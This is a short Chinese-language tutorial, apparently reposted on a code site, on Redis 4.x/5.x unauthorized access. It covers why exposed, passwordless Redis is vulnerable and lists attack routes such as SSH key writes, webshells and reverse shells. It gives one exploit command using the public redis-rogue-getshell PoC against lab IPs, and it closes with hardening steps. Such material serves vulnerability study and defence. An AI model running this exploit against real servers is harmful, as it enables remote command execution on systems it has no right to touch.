Redis 4.x/5.x 未授權訪問漏洞


0x01 Redis是什么?

Redis是數據庫,一個高性能的key-value存儲系統,是使用ANSI C語言編寫的。

0x02 Redis未授權訪問漏洞

Redis 默認情況下,會綁定在 0.0.0.0:6379,如果沒有進行采用相關的策略,比如添加防火牆規則避免其他非信任來源 ip 訪問等,這樣將會將 Redis 服務暴露到公網上,如果在沒有設置密碼認證(一般為空)的情況下,會導致任意用戶在可以訪問目標服務器的情況下未授權訪問 Redis 以及讀取 Redis 的數據。

0x03 影響版本

影響版本Redis未授權訪問在4.x/5.0.5版本以下

0x04 攻擊手段

1.直接未授權訪問,對redis數據庫的操作

2.ssh免密鑰登錄(有思維導圖)

3.對redis數據庫寫馬子拿shell,與第二點條件和思路差不多

4.寫進反彈shell,設置反彈時間反彈。

5.利用現有exp

0x05 漏洞復現(利用現有exp)

poc地址:

https://github.com/vulhub/redis-rogue-getshell

編譯

攻擊

python3 redis-master.py  -h

python3 redis-master.py  -r 192.168.227.128 -p 6379 -L 192.168.227.129  -P 8989 -f RedisModulesSDK/exp.so  -c "id"

修復方案

1.禁止一些高危命令(重啟redis才能生效)

2.以低權限運行 Redis 服務(重啟redis才能生效)切身體會

3.為 Redis 添加密碼驗證(重啟redis才能生效)

4.禁止外網訪問 Redis(重啟redis才能生效)

5.修改默認端口

6.保證 authorized_keys 文件的安全

7.設置防火牆策略


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM